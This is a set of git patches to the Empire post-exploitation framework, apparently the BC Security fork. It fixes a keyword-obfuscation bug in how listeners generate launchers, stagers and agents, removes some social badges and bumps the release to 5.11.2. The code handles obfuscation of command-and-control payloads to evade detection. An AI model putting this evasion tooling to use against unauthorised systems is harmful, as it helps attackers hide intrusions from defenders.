Versioning](https://semver.org/spec/v2.0.0 - **Security** in case of vulnerabilities. ## [Unreleased] +- Added Route4Me to sponsor page on Empire ## [5.11.1] - 2024-07-23 diff --git a/README.md b/README.md index 5500db1d7..9e8b85212 100644 --- a/README.md +++ b/README.md @@ -8,10 +8,6 @@ [![Twitter URL](https://img.shields.io/twitter/follow/BCSecurity?style=plastic&logo=twitter)](https://twitter.com/BCSecurity) [![Twitter URL](https://img.shields.io/twitter/follow/EmpireC2Project?style=plastic&logo=twitter)](https://twitter.com/EmpireC2Project) [![YouTube URL](https://img.shields.io/youtube/channel/views/UCIV4xSntF1h1bvFt8SUfzZg?style=plastic&logo=youtube)](https://www.youtube.com/channel/UCIV4xSntF1h1bvFt8SUfzZg) -![Mastodon Follow](https://img.shields.io/mastodon/follow/109299433521243792?domain=https%3A%2F%2Finfosec.exchange%2F&style=plastic&logo=mastodon) -![Mastodon Follow](https://img.shields.io/mastodon/follow/109384907460361134?domain=https%3A%2F%2Finfosec.exchange%2F&style=plastic&logo=mastodon) -[![Threads](https://img.shields.io/badge/follow%20@BCSecurity0-grey?style=plastic&logo=threads&logoColor=#000000)](https://www.threads.net/@bcsecurity0) -[![Threads](https://img.shields.io/badge/follow%20@EmpireC2Project-grey?style=plastic&logo=threads&logoColor=#000000)](https://www.threads.net/@empirec2project) [![LinkedIn](https://img.shields.io/badge/Linkedin-blue?style=plastic&logo=linkedin&logoColor=#0A66C2)](https://www.linkedin.com/company/bc-security/) @@ -53,13 +49,12 @@ Empire is a post-exploitation and adversary emulation framework that is used to - [ProcessInjection](https://github.com/3xpl01tc0d3r/ProcessInjection) - And Many More - From 5f12b0ba16f03ae178f67df8d5c82982e8c5fe6e Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 8 Aug 2024 11:29:14 -0700 Subject: [PATCH 25/26] Fixed error with global obfuscation for payloads (#867) --- CHANGELOG.md | 3 ++- empire/server/core/obfuscation_service.py | 4 +++- empire/server/listeners/dbx.py | 8 -------- empire/server/listeners/http.py | 8 -------- empire/server/listeners/http_com.py | 3 --- empire/server/listeners/http_foreign.py | 4 ---- empire/server/listeners/http_hop.py | 10 ---------- empire/server/listeners/http_malleable.py | 13 ------------- empire/server/listeners/onedrive.py | 3 --- empire/server/listeners/port_forward_pivot.py | 1 - empire/server/listeners/smb.py | 5 ----- 11 files changed, 5 insertions(+), 57 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6009983fa..5327236ee 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,7 +13,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **Security** in case of vulnerabilities. ## [Unreleased] -- Added Route4Me to sponsor page on Empire +- Added Route4Me to sponsor page on Empire (@Cx01N) +- Fixed global obfuscation bug in listener staging (@Cx01N) ## [5.11.1] - 2024-07-23 diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index fd1053ce5..71a437654 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -249,4 +249,6 @@ def python_obfuscate(self, module_source): Obfuscate Python scripts using python-obfuscator """ obfuscator = python_obfuscator.obfuscator() - return obfuscator.obfuscate(module_source, [one_liner, variable_renamer]) + obf_script = obfuscator.obfuscate(module_source, [one_liner, variable_renamer]) + + return self.obfuscate_keywords(obf_script) diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 76745c1e5..fa2c622cd 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -281,7 +281,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( @@ -356,9 +355,6 @@ def generate_launcher( launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( @@ -433,7 +429,6 @@ def generate_stager( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode: @@ -471,7 +466,6 @@ def generate_stager( if obfuscate: stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: return base64.b64encode(stager) @@ -542,7 +536,6 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code @@ -582,7 +575,6 @@ def generate_agent( if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index d46fc1a94..5fe3973d1 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -367,7 +367,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( @@ -470,9 +469,6 @@ def generate_launcher( launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( @@ -592,7 +588,6 @@ def generate_stager( stager = self.mainMenu.obfuscationv2.obfuscate( stager, obfuscation_command=obfuscation_command ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other @@ -629,7 +624,6 @@ def generate_stager( if obfuscate: stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode: @@ -699,7 +693,6 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code if language == "python": @@ -727,7 +720,6 @@ def generate_agent( if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code if language == "csharp": diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index a1de2180b..9a59a7b19 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -308,7 +308,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( @@ -404,7 +403,6 @@ def generate_stager( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode: @@ -471,7 +469,6 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index c12ed667f..536c4daf2 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -276,7 +276,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( @@ -363,9 +362,6 @@ def generate_launcher( launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 0f5528205..9fe1d3aa3 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -223,7 +223,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( @@ -314,9 +313,6 @@ def generate_launcher( launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( @@ -386,10 +382,6 @@ def generate_stager( } stager = template.render(template_options) - # Get the random function name generated at install and patch the stager with the proper function name - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # make sure the server ends with "/" if not host.endswith("/"): host += "/" @@ -414,7 +406,6 @@ def generate_stager( stager = self.mainMenu.obfuscationv2.obfuscate( stager, obfuscation_command=obfuscation_command ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other @@ -455,7 +446,6 @@ def generate_stager( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: return base64.b64encode(stager) diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index ccbeaa402..324e5352e 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -441,9 +441,6 @@ def generate_launcher( launcherBase, obfuscation_command=obfuscation_command, ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -554,9 +551,6 @@ def generate_launcher( launcherBase += listener_util.python_extract_stager(stagingKey) if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) @@ -632,9 +626,6 @@ def generate_stager( } stager = template.render(template_options) - # Get the random function name generated at install and patch the stager with the proper function name - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # make sure the server ends with "/" if not host.endswith("/"): host += "/" @@ -663,7 +654,6 @@ def generate_stager( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: return helpers.enc_powershell(stager) @@ -702,7 +692,6 @@ def generate_stager( if obfuscate: stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: return base64.b64encode(stager) @@ -777,7 +766,6 @@ def generate_agent( code, obfuscation_command=obfuscation_command, ) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code @@ -807,7 +795,6 @@ def generate_agent( if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 8db04e4e4..b7167453c 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -280,7 +280,6 @@ def generate_launcher( launcher, obfuscation_command=obfuscation_command, ) - launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) if encode and ( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) @@ -357,7 +356,6 @@ def generate_stager( stager = self.mainMenu.obfuscationv2.obfuscate( stager, obfuscation_command=obfuscation_command ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) if encode: return helpers.enc_powershell(stager) @@ -469,7 +467,6 @@ def generate_agent( agent_code = self.mainMenu.obfuscationv2.obfuscate( agent_code, obfuscation_command=obfuscation_command ) - agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code) return agent_code return None diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 8425e10fb..7dd1f663f 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -235,7 +235,6 @@ def generate_launcher( stager, obfuscation_command=obfuscation_command, ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode and ( diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 654e46ae8..b616a893b 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -206,9 +206,6 @@ def generate_launcher( launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( launcherBase ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( @@ -284,7 +281,6 @@ def generate_stager( if obfuscate: stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) # base64 encode the stager and return it if encode: @@ -358,7 +354,6 @@ def generate_agent( if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) - code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code From af8659647b41dd1d545e9a5d1ecb1be42f2c6b69 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 8 Aug 2024 18:30:38 +0000 Subject: [PATCH 26/26] Prepare release 5.11.2 private --- CHANGELOG.md | 11 ++++++++--- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5327236ee..a51467c4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,8 +13,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **Security** in case of vulnerabilities. ## [Unreleased] -- Added Route4Me to sponsor page on Empire (@Cx01N) -- Fixed global obfuscation bug in listener staging (@Cx01N) + +## [5.11.2] - 2024-08-08 + +- Added Route4Me to sponsor page on Empire (@Cx01N) +- Fixed global obfuscation bug in listener staging (@Cx01N) ## [5.11.1] - 2024-07-23 @@ -888,7 +891,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.1...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...HEAD + +[5.11.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.1...v5.11.2 [5.11.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.0...v5.11.1 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index aedd09f7f..534a559c6 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.11.1 BC Security Fork" +VERSION = "5.11.2 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index fa76bfa22..b7625d181 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.11.1" +version = "5.11.2" description = "" authors = ["BC Security "] readme = "README.md"